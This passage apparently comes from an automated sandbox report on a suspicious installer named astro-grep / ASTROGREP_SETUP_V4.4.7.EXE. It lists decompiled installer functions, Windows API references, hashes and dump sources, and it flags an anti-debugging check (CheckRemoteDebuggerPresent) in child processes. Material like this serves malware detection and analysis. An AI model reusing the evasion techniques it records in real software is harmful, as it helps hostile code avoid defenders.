				_t15 = SendMessageA(_t28, 0x110a, 9, 0);
				if(_a8 == 0) {
					L4:
					_v56 = _t15;
					_v60 = 4;
					SendMessageA(_t28, 0x110c, 0,  &_v60);
					return _v24;
				}
				_t19 = GetMessagePos();
				_v16 = _t19 >> 0x10;
				_v20 = _t19;
				ScreenToClient(_t28,  &_v20);
				_t25 = SendMessageA(_t28, 0x1111, 0,  &_v20);
				if((_v12 & 0x00000066) != 0) {
					_t15 = _v8;
					goto L4;
				}
				return _t25 | 0xffffffff;
			}

0x00404821
0x0040482e
0x00404834
0x00404872
0x00404872
0x00404881
0x00404888
0x00000000
0x0040488a
0x00404836
0x00404845
0x0040484d
0x00404850
0x00404862
0x00404868
0x0040486f
0x00000000
0x0040486f
0x00000000

APIs

SendMessageA.USER32 ref: 0040482E
GetMessagePos.USER32 ref: 00404836
ScreenToClient.USER32(?,?), ref: 00404850
SendMessageA.USER32 ref: 00404862
SendMessageA.USER32 ref: 00404888

Strings

f, xrefs: 00404864

Memory Dump Source

Source File: 00000004.00000002.2477543784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2477540766.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477547820.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477565325.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477568846.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477571695.000000000044A000.00000002.00020000.sdmp Download File

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 13dcb630cae817d26763a7c5c34c1a537cec2b83c976c16d0abeb4614e4307e4
Instruction ID: 72a6dff9965abeea3fde93c43f55bc8d1d0b984f63b53e8c81f3052648e7bb03
Opcode Fuzzy Hash: 13dcb630cae817d26763a7c5c34c1a537cec2b83c976c16d0abeb4614e4307e4
Instruction Fuzzy Hash: EC019275D00218BADB00DBA5DC41FFEBBBCAF45711F10412BBB10B61C0C7B4A5018BA5

Uniqueness

Uniqueness Score: -1.00%

Function 00402B7F, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40
timeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402B7F(struct HWND__* _a4, intOrPtr _a8) {
				char _v68;
				int _t11;
				int _t20;

				if(_a8 == 0x110) {
					SetTimer(_a4, 1, 0xfa, 0);
					_a8 = 0x113;
				}
				if(_a8 == 0x113) {
					_t20 =  *0x414418; // 0xe817a
					_t11 =  *0x420424; // 0xe817e
					if(_t20 >= _t11) {
						_t20 = _t11;
					}
					wsprintfA( &_v68, "verifying installer: %d%%", MulDiv(_t20, 0x64, _t11));
					SetWindowTextA(_a4,  &_v68);
					SetDlgItemTextA(_a4, 0x406,  &_v68);
				}
				return 0;
			}

0x00402b8c
0x00402b9a
0x00402ba0
0x00402ba0
0x00402bae
0x00402bb0
0x00402bb6
0x00402bbd
0x00402bbf
0x00402bbf
0x00402bd5
0x00402be5
0x00402bf7
0x00402bf7
0x00402bff

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402B9A
MulDiv.KERNEL32 ref: 00402BC5
wsprintfA.USER32 ref: 00402BD5
SetWindowTextA.USER32(?,?), ref: 00402BE5
SetDlgItemTextA.USER32(?,00000406,?), ref: 00402BF7

Strings

verifying installer: %d%%, xrefs: 00402BCF

Memory Dump Source

Source File: 00000004.00000002.2477543784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2477540766.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477547820.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477565325.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477568846.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477571695.000000000044A000.00000002.00020000.sdmp Download File

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 006cffcf8240dfc76d7e4b6e7b59e3417ee2623043ecf049c00372ee4aca6d42
Instruction ID: f77185bba9c57e6aa61c0c8aee9f592e237af7c43fbef78eddb3d4185353df7a
Opcode Fuzzy Hash: 006cffcf8240dfc76d7e4b6e7b59e3417ee2623043ecf049c00372ee4aca6d42
Instruction Fuzzy Hash: D001F471640208BBEF209F60DD09EAE3779EB04744F008039FA16B51D1D7B5A955DB59

Uniqueness

Uniqueness Score: -1.00%

Function 00401D38, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 38
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E00401D38() {
				void* __esi;
				int _t7;
				signed char _t13;
				struct HFONT__* _t16;
				void* _t20;
				struct HDC__* _t26;
				void* _t28;
				void* _t30;

				_t26 = GetDC( *(_t30 - 8));
				_t7 = GetDeviceCaps(_t26, 0x5a);
				0x40a818->lfHeight =  ~(MulDiv(E00402A1D(2), _t7, 0x48));
				ReleaseDC( *(_t30 - 8), _t26);
				 *0x40a828 = E00402A1D(3);
				_t13 =  *((intOrPtr*)(_t30 - 0x18));
				 *0x40a82f = 1;
				 *0x40a82c = _t13 & 0x00000001;
				 *0x40a82d = _t13 & 0x00000002;
				 *0x40a82e = _t13 & 0x00000004;
				E00405D51(_t20, _t26, _t28, "MS Shell Dlg",  *((intOrPtr*)(_t30 - 0x24)));
				_t16 = CreateFontIndirectA(0x40a818);
				_push(_t16);
				_push(_t28);
				E00405C8D();
				 *0x42e488 =  *0x42e488 +  *((intOrPtr*)(_t30 - 4));
				return 0;
			}

0x00401d41
0x00401d48
0x00401d63
0x00401d68
0x00401d75
0x00401d7a
0x00401d85
0x00401d8c
0x00401d9e
0x00401da4
0x00401da9
0x00401db3
0x00402513
0x00401561
0x00402877
0x004028d2
0x004028de

APIs

GetDC.USER32(?), ref: 00401D3B
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401D48
MulDiv.KERNEL32 ref: 00401D57
ReleaseDC.USER32(?,00000000), ref: 00401D68
CreateFontIndirectA.GDI32(0040A818), ref: 00401DB3

Strings

MS Shell Dlg, xrefs: 00401D99

Memory Dump Source

Source File: 00000004.00000002.2477543784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2477540766.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477547820.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477565325.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477568846.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477571695.000000000044A000.00000002.00020000.sdmp Download File

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID: MS Shell Dlg
API String ID: 3808545654-76309092
Opcode ID: c2a9d05608db3b551cbe7321e8fd88224b197bc40f94a71f0fff53b7c1922a27
Instruction ID: ad7d238852a8d87b5aaa3e6a204337ae93e1cce4a0b470fbec170e72a625d374
Opcode Fuzzy Hash: c2a9d05608db3b551cbe7321e8fd88224b197bc40f94a71f0fff53b7c1922a27
Instruction Fuzzy Hash: EA01D632944340AFEB0177B0AE4EBAA3FB49759309F108479F201B62E2C6790052CF6F

Uniqueness

Uniqueness Score: -1.00%

Function 00402A7A, Relevance: 7.6, APIs: 5, Instructions: 67
registryCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E00402A7A(void* _a4, char* _a8, intOrPtr _a12) {
				void* _v8;
				char _v272;
				long _t18;
				intOrPtr* _t27;
				long _t28;

				_t18 = RegOpenKeyExA(_a4, _a8, 0,  *0x42e4b0 | 0x00000008,  &_v8);
				if(_t18 == 0) {
					while(RegEnumKeyA(_v8, 0,  &_v272, 0x105) == 0) {
						if(_a12 != 0) {
							RegCloseKey(_v8);
							L8:
							return 1;
						}
						if(E00402A7A(_v8,  &_v272, 0) != 0) {
							break;
						}
					}
					RegCloseKey(_v8);
					_t27 = E004060C8(3);
					if(_t27 == 0) {
						if( *0x42e4b0 != 0) {
							goto L8;
						}
						_t28 = RegDeleteKeyA(_a4, _a8);
						if(_t28 != 0) {
							goto L8;
						}
						return _t28;
					}
					return  *_t27(_a4, _a8,  *0x42e4b0, 0);
				}
				return _t18;
			}

0x00402a9b
0x00402aa3
0x00402acb
0x00402ab5
0x00402b05
0x00402b0b
0x00000000
0x00402b0d
0x00402ac9
0x00000000
0x00000000
0x00402ac9
0x00402ae0
0x00402ae8
0x00402aef
0x00402b1b
0x00000000
0x00000000
0x00402b23
0x00402b2b
0x00000000
0x00000000
0x00000000
0x00402b2b
0x00000000
0x00402afe
0x00402b12

APIs

RegOpenKeyExA.ADVAPI32(?,?,00000000,?,?), ref: 00402A9B
RegEnumKeyA.ADVAPI32(?,00000000,?,00000105), ref: 00402AD7
RegCloseKey.ADVAPI32(?), ref: 00402AE0
RegCloseKey.ADVAPI32(?), ref: 00402B05
RegDeleteKeyA.ADVAPI32(?,?), ref: 00402B23

Memory Dump Source

Source File: 00000004.00000002.2477543784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2477540766.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477547820.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477565325.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477568846.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477571695.000000000044A000.00000002.00020000.sdmp Download File

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 7766ad722bcf743109a83c91df0766a7f4c549130a1e07b93abaa864288c9da4
Instruction ID: e0b40e6d550d0c6dedecb0be42375ee7245bd63e637183e656586a56a8cfacd8
Opcode Fuzzy Hash: 7766ad722bcf743109a83c91df0766a7f4c549130a1e07b93abaa864288c9da4
Instruction Fuzzy Hash: 66116D31A00108FEDF22AF90DE89EAA3B7DEB54349B104436FA01B10E0D774AE51DB69

Uniqueness

Uniqueness Score: -1.00%

Function 00401CDE, Relevance: 7.5, APIs: 5, Instructions: 39
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401CDE(int __edx) {
				void* _t17;
				struct HINSTANCE__* _t21;
				struct HWND__* _t25;
				void* _t27;

				_t25 = GetDlgItem( *(_t27 - 8), __edx);
				GetClientRect(_t25, _t27 - 0x58);
				_t17 = SendMessageA(_t25, 0x172, _t21, LoadImageA(_t21, E00402A3A(_t21), _t21,  *(_t27 - 0x50) *  *(_t27 - 0x20),  *(_t27 - 0x4c) *  *(_t27 - 0x20), 0x10));
				if(_t17 != _t21) {
					DeleteObject(_t17);
				}
				 *0x42e488 =  *0x42e488 +  *((intOrPtr*)(_t27 - 4));
				return 0;
			}

0x00401ce8
0x00401cef
0x00401d1e
0x00401d26
0x00401d2d
0x00401d2d
0x004028d2
0x004028de

APIs

GetDlgItem.USER32(?), ref: 00401CE2
GetClientRect.USER32 ref: 00401CEF
LoadImageA.USER32(?,00000000,?,?,?,?), ref: 00401D10
SendMessageA.USER32 ref: 00401D1E
DeleteObject.GDI32(00000000), ref: 00401D2D

Memory Dump Source

Source File: 00000004.00000002.2477543784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2477540766.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477547820.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477565325.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477568846.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477571695.000000000044A000.00000002.00020000.sdmp Download File

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 763b4bf58b938fb9abbbbf1fb7f74f3e5dbcbbd1c05f8ded2862ff9186105390
Instruction ID: 718a49c372d49eeeb619100b459207f1cde729867d9d835a9e14b5832590348d
Opcode Fuzzy Hash: 763b4bf58b938fb9abbbbf1fb7f74f3e5dbcbbd1c05f8ded2862ff9186105390
Instruction Fuzzy Hash: 74F0E7B2A04114AFEB01EBE4DE88DAFB7BDEB54305B10447AF602F6191C7749D018B79

Uniqueness

Uniqueness Score: -1.00%

Function 004057A1, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004057A1(CHAR* _a4) {
				CHAR* _t7;

				_t7 = _a4;
				if( *(CharPrevA(_t7,  &(_t7[lstrlenA(_t7)]))) != 0x5c) {
					lstrcatA(_t7, 0x409014);
				}
				return _t7;
			}

0x004057a2
0x004057b9
0x004057c1
0x004057c1
0x004057c9

APIs

lstrlenA.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,004030FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004032FF), ref: 004057A7
CharPrevA.USER32(?,00000000), ref: 004057B0
lstrcatA.KERNEL32(?,00409014), ref: 004057C1

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004057A1

Memory Dump Source

Source File: 00000004.00000002.2477543784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2477540766.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477547820.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477565325.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477568846.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477571695.000000000044A000.00000002.00020000.sdmp Download File

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-4017390910
Opcode ID: 39623dee3265ed167cf4eb0d952b1efefe5673d98ca6e2622bb109ae9f6b3ea7
Instruction ID: 31daa9478c60f2ec517fa6cf0afa0cd81b34b06dfe81de980877f4a94ee531a8
Opcode Fuzzy Hash: 39623dee3265ed167cf4eb0d952b1efefe5673d98ca6e2622bb109ae9f6b3ea7
Instruction Fuzzy Hash: 8ED0A762505D306BE21226155C09D8B2A08CF12740B044027F100B61E1C63C4D414FFD

Uniqueness

Uniqueness Score: -1.00%

Function 0040583A, Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040583A(CHAR* _a4) {
				CHAR* _t5;
				char* _t7;
				CHAR* _t9;
				char _t10;
				CHAR* _t11;
				void* _t13;

				_t11 = _a4;
				_t9 = CharNextA(_t11);
				_t5 = CharNextA(_t9);
				_t10 =  *_t11;
				if(_t10 == 0 ||  *_t9 != 0x3a || _t9[1] != 0x5c) {
					if(_t10 != 0x5c || _t11[1] != _t10) {
						L10:
						return 0;
					} else {
						_t13 = 2;
						while(1) {
							_t13 = _t13 - 1;
							_t7 = E004057CC(_t5, 0x5c);
							if( *_t7 == 0) {
								goto L10;
							}
							_t5 = _t7 + 1;
							if(_t13 != 0) {
								continue;
							}
							return _t5;
						}
						goto L10;
					}
				} else {
					return CharNextA(_t5);
				}
			}

0x00405843
0x0040584a
0x0040584d
0x0040584f
0x00405853
0x00405868
0x00405887
0x00000000
0x0040586f
0x00405871
0x00405872
0x00405875
0x00405876
0x0040587e
0x00000000
0x00000000
0x00405880
0x00405883
0x00000000
0x00000000
0x00000000
0x00405883
0x00000000
0x00405872
0x00405860
0x00000000
0x00405861

APIs

CharNextA.USER32(?), ref: 00405848
CharNextA.USER32(00000000), ref: 0040584D
CharNextA.USER32(00000000), ref: 00405861

Strings

C:\, xrefs: 0040583B

Memory Dump Source

Source File: 00000004.00000002.2477543784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2477540766.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477547820.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477565325.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477568846.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477571695.000000000044A000.00000002.00020000.sdmp Download File

Similarity

API ID: CharNext
String ID: C:\
API String ID: 3213498283-3404278061
Opcode ID: b52e97735ebcacdda31b679af32a6ceda5c9d10ed76b2852ac30fc4ce6ba53e1
Instruction ID: 19ae957cdd7e66f1aaea138ca2c8f088f7fbe10d55ad18dca4d2112a8e91772d
Opcode Fuzzy Hash: b52e97735ebcacdda31b679af32a6ceda5c9d10ed76b2852ac30fc4ce6ba53e1
Instruction Fuzzy Hash: 7FF0C253904F506EFB3272640C44B775B98CB55390F18C47BED90A62C1827C4C604F9A

Uniqueness

Uniqueness Score: -1.00%

Function 00402C02, Relevance: 6.0, APIs: 4, Instructions: 33
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402C02(intOrPtr _a4) {
				long _t2;
				struct HWND__* _t3;
				struct HWND__* _t6;

				if(_a4 == 0) {
					__eflags =  *0x420420; // 0x0
					if(__eflags == 0) {
						_t2 = GetTickCount();
						__eflags = _t2 -  *0x42e40c;
						if(_t2 >  *0x42e40c) {
							_t3 = CreateDialogParamA( *0x42e400, 0x6f, 0, E00402B7F, 0);
							 *0x420420 = _t3;
							return ShowWindow(_t3, 5);
						}
						return _t2;
					} else {
						return E00406104(0);
					}
				} else {
					_t6 =  *0x420420; // 0x0
					if(_t6 != 0) {
						_t6 = DestroyWindow(_t6);
					}
					 *0x420420 = 0;
					return _t6;
				}
			}

0x00402c09
0x00402c23
0x00402c29
0x00402c33
0x00402c39
0x00402c3f
0x00402c50
0x00402c59
0x00000000
0x00402c5e
0x00402c65
0x00402c2b
0x00402c32
0x00402c32
0x00402c0b
0x00402c0b
0x00402c12
0x00402c15
0x00402c15
0x00402c1b
0x00402c22
0x00402c22

APIs

DestroyWindow.USER32 ref: 00402C15
GetTickCount.KERNEL32(00000000,00402DE2,00000001), ref: 00402C33
CreateDialogParamA.USER32(0000006F,00000000,00402B7F,00000000), ref: 00402C50
ShowWindow.USER32(00000000,00000005), ref: 00402C5E

Memory Dump Source

Source File: 00000004.00000002.2477543784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2477540766.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477547820.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477565325.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477568846.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477571695.000000000044A000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 42481ae060c013658952b0ba65f2133d3ed78682e8b262a627202bc2b689c50f
Instruction ID: 1b84634240e2166e3851fbc92cd381e461e1db94d3428fd6ef6110bf0b183a31
Opcode Fuzzy Hash: 42481ae060c013658952b0ba65f2133d3ed78682e8b262a627202bc2b689c50f
Instruction Fuzzy Hash: 97F05E30A09220EFD6317B20FE4CD9F7BA4BB04B15B404976F104B11EAC7782882CB9D

Uniqueness

Uniqueness Score: -1.00%

Function 004054C0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24
processCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004054C0(CHAR* _a4) {
				struct _PROCESS_INFORMATION _v20;
				int _t7;

				0x42b070->cb = 0x44;
				_t7 = CreateProcessA(0, _a4, 0, 0, 0, 0x4000000, 0, 0, 0x42b070,  &_v20);
				if(_t7 != 0) {
					CloseHandle(_v20.hThread);
					return _v20.hProcess;
				}
				return _t7;
			}

0x004054c9
0x004054e9
0x004054f1
0x004054f6
0x00000000
0x004054fc
0x00405500

APIs

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,0042B070,Error launching installer), ref: 004054E9
CloseHandle.KERNEL32(?), ref: 004054F6

Strings

Error launching installer, xrefs: 004054D3

Memory Dump Source

Source File: 00000004.00000002.2477543784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2477540766.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477547820.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477565325.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477568846.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477571695.000000000044A000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 47fe2490e17a7e9d962cab7a6b56508ed3a0dd8216b7049c1380fae9186fb834
Instruction ID: eccce0787fa873eefbebbfab998d1c477025fc2f998d9ab7e00b955d4b23de72
Opcode Fuzzy Hash: 47fe2490e17a7e9d962cab7a6b56508ed3a0dd8216b7049c1380fae9186fb834
Instruction Fuzzy Hash: 99E0BFB4A00209BFEB119B64ED05F7B7BACE700704F408561BD11F2190E774A8559A79

Uniqueness

Uniqueness Score: -1.00%

Function 004057E8, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004057E8(char* _a4) {
				char* _t3;
				char* _t5;

				_t5 = _a4;
				_t3 =  &(_t5[lstrlenA(_t5)]);
				while( *_t3 != 0x5c) {
					_t3 = CharPrevA(_t5, _t3);
					if(_t3 > _t5) {
						continue;
					}
					break;
				}
				 *_t3 =  *_t3 & 0x00000000;
				return  &(_t3[1]);
			}

0x004057e9
0x004057f3
0x004057f5
0x004057fc
0x00405804
0x00000000
0x00000000
0x00000000
0x00405804
0x00405806
0x0040580b

APIs

lstrlenA.KERNEL32(80000000,C:\Users\user\AppData\Local\Temp,00402CD2,C:\Users\user\AppData\Local\Temp,C:\Users\user\AppData\Local\Temp,C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE,C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE,80000000,00000003), ref: 004057EE
CharPrevA.USER32(80000000,00000000), ref: 004057FC

Strings

C:\Users\user\AppData\Local\Temp, xrefs: 004057E8

Memory Dump Source

Source File: 00000004.00000002.2477543784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2477540766.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477547820.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477565325.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477568846.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477571695.000000000044A000.00000002.00020000.sdmp Download File

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\AppData\Local\Temp
API String ID: 2709904686-2935972921
Opcode ID: cad1fee570528055bb4f840757e41c2b2d093a40416f1971c342fc3ba500c074
Instruction ID: 563d0c8124584ba78a4db43b9ec919a88ee2b9567cf051c7da1bb821b6b33a35
Opcode Fuzzy Hash: cad1fee570528055bb4f840757e41c2b2d093a40416f1971c342fc3ba500c074
Instruction Fuzzy Hash: 48D0A773808D705FF34362109C04B8F6B48CF12740F094062E140A71D0C2780C414BBD

Uniqueness

Uniqueness Score: -1.00%

Function 00405907, Relevance: 5.0, APIs: 4, Instructions: 37
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405907(void* __ecx, CHAR* _a4, CHAR* _a8) {
				int _v8;
				int _t12;
				int _t14;
				int _t15;
				CHAR* _t17;
				CHAR* _t27;

				_t12 = lstrlenA(_a8);
				_t27 = _a4;
				_v8 = _t12;
				while(lstrlenA(_t27) >= _v8) {
					_t14 = _v8;
					 *(_t14 + _t27) =  *(_t14 + _t27) & 0x00000000;
					_t15 = lstrcmpiA(_t27, _a8);
					_t27[_v8] =  *(_t14 + _t27);
					if(_t15 == 0) {
						_t17 = _t27;
					} else {
						_t27 = CharNextA(_t27);
						continue;
					}
					L5:
					return _t17;
				}
				_t17 = 0;
				goto L5;
			}

0x00405917
0x00405919
0x0040591c
0x00405948
0x00405921
0x0040592a
0x0040592f
0x0040593a
0x0040593d
0x00405959
0x0040593f
0x00405946
0x00000000
0x00405946
0x00405952
0x00405956
0x00405956
0x00405950
0x00000000

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405B64,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405917
lstrcmpiA.KERNEL32(00000000,00000000,?,00000000,00405B64,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 0040592F
CharNextA.USER32(00000000), ref: 00405940
lstrlenA.KERNEL32(00000000,?,00000000,00405B64,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405949

Memory Dump Source

Source File: 00000004.00000002.2477543784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2477540766.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477547820.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477565325.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477568846.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477571695.000000000044A000.00000002.00020000.sdmp Download File

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: d250403eeccc32afa1460bd507a63d74f6ad2c43926490d4129708a4008c1f50
Instruction ID: 9438e9cad6691fea7f13f8d56426e11099e03f26c07faecbb185dc05f13043cf
Opcode Fuzzy Hash: d250403eeccc32afa1460bd507a63d74f6ad2c43926490d4129708a4008c1f50
Instruction Fuzzy Hash: D5F06236505518FFCB129FA5DC00D9EBBA8EF16360B2540B9F800F7350D674EE01ABA9

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: astro-grep.exe PID: 2468 Parent PID: 2320 astro-grep.exeCOMMON

Executed Functions

Function 001B41B4, Relevance: 1.6, APIs: 1, Instructions: 68COMMON

Download Yara Rule

APIs

CheckRemoteDebuggerPresent.KERNEL32(00000000,?), ref: 001B49A7

Memory Dump Source

Source File: 0000000C.00000002.2652026851.00000000001B0000.00000040.00000001.sdmp, Offset: 001B0000, based on PE: false

Similarity

API ID: CheckDebuggerPresentRemote
String ID:
API String ID: 3662101638-0
Opcode ID: 65869d8f12afa9b5f26232e1a028413bd6314a9b22ea9833a92655221492f221
Instruction ID: 9f46998ce452d7e210ff92d7cf67445519440272add0ef9a11d58f565c561f8b
Opcode Fuzzy Hash: 65869d8f12afa9b5f26232e1a028413bd6314a9b22ea9833a92655221492f221
Instruction Fuzzy Hash: C82136719042198FCB00CF9AD484BEEBBF4EF49324F14842AE555B3341D778A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 001B4929, Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

CheckRemoteDebuggerPresent.KERNEL32(00000000,?), ref: 001B49A7

Memory Dump Source

Source File: 0000000C.00000002.2652026851.00000000001B0000.00000040.00000001.sdmp, Offset: 001B0000, based on PE: false

Similarity

API ID: CheckDebuggerPresentRemote
String ID:
API String ID: 3662101638-0
Opcode ID: ae6efbd826af1fc40f27596a4a9823b0abd42e4afac3afc43d260451c1be0453
Instruction ID: dbd87fa4f4ced9f7600e852cb16e27479af1a78b9301cfea84729381b08ef9f4
Opcode Fuzzy Hash: ae6efbd826af1fc40f27596a4a9823b0abd42e4afac3afc43d260451c1be0453
Instruction Fuzzy Hash: 3F2136718002198FCB00CF9AD484BEEBBF4FF89224F14841AE554B3250D778A944CF61

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: astro-grep.exe PID: 1428 Parent PID: 1068 astro-grep.exeCOMMON

Executed Functions

Function 001C0DB8, Relevance: 1.4, Strings: 1, Instructions: 116COMMON

Download Yara Rule

Strings

fC~l, xrefs: 001C0E47

Memory Dump Source

Source File: 0000000E.00000002.2501825134.00000000001C0000.00000040.00000001.sdmp, Offset: 001C0000, based on PE: false

Similarity

API ID:
String ID: fC~l
API String ID: 0-3094166865
Opcode ID: 2d2610e19b74b6d603c42cb741ad05b384be4b61386463bfa2b5954de6eb0031
Instruction ID: 7d95fe8f1ce5fcb92972355ecc6377f943e251200c2bbab1952c38860e35d629
Opcode Fuzzy Hash: 2d2610e19b74b6d603c42cb741ad05b384be4b61386463bfa2b5954de6eb0031
Instruction Fuzzy Hash: CC41D070F04214AFCB04DFB885506AEBBFAAF89304F15896DD009E7741EB34E94287A1

Uniqueness

Uniqueness Score: -1.00%

